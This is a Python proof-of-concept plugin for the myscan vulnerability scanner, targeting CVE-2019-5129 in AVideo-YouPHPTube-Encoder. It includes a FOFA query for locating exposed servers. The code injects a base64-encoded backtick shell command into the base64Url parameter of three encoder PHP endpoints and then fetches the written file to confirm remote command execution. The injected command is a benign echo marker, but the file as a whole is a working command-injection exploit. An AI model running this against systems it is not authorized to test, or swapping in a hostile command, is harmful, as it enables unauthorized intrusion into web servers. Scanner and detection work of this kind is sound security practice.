# !/usr/bin/env python3
# @Time    : 2020/9/18
# @Author  : caicai
# @File    : poc_youphptube-encoder-cve-2019-5129_2019.py
'''

fofa app="AVideo-YouPHPTube-Encoder"
'''

from myscan.lib.parse.response_parser import response_parser  ##写了一些操作resonse的方法的类
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.lib.core.common import get_random_str
from myscan.config import scan_set
from myscan.lib.core.threads import mythread
from myscan.lib.core.data import cmd_line_options
import base64


class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "youphptube-encoder-cve-2019-5129"
        self.vulmsg = "link: https://xz.aliyun.com/t/6708"
        self.level = 2  # 0:Low  1:Medium 2:High

    def verify(self):
        # 根据config.py 配置的深度，限定一下目录深度
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return
        mythread(self.runit, ["getSpiritsFromVideo", "getImage", "getImageMP4"], cmd_line_options.threads)

    def runit(self, path):
        filename = get_random_str(9).lower() + ".txt"
        content = get_random_str(9).lower()
        payload = base64.b64encode('''`echo {} > {}`'''.format(content, filename).encode()).decode()

        req = {
            "method": "GET",
            "url": self.url + "objects/{path}.php?base64Url={payload}&format=jpg".format(path=path,
                                                                                         payload=payload),
            "headers": self.dictdata.get("request").get("headers"),  # 主要保留cookie等headers
            "timeout": 10,
            "verify": False,
            "allow_redirects": False

        }
        r = request(**req)
        if r is not None and r.status_code == 200:
            req["url"] = self.url + "objects/" + filename
            r1 = request(**req)
            if r1 is not None and content.encode() in r1.content:
                parser_ = response_parser(r1)
                self.result.append({
                    "name": self.name,
                    "url": parser_.geturl(),
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })
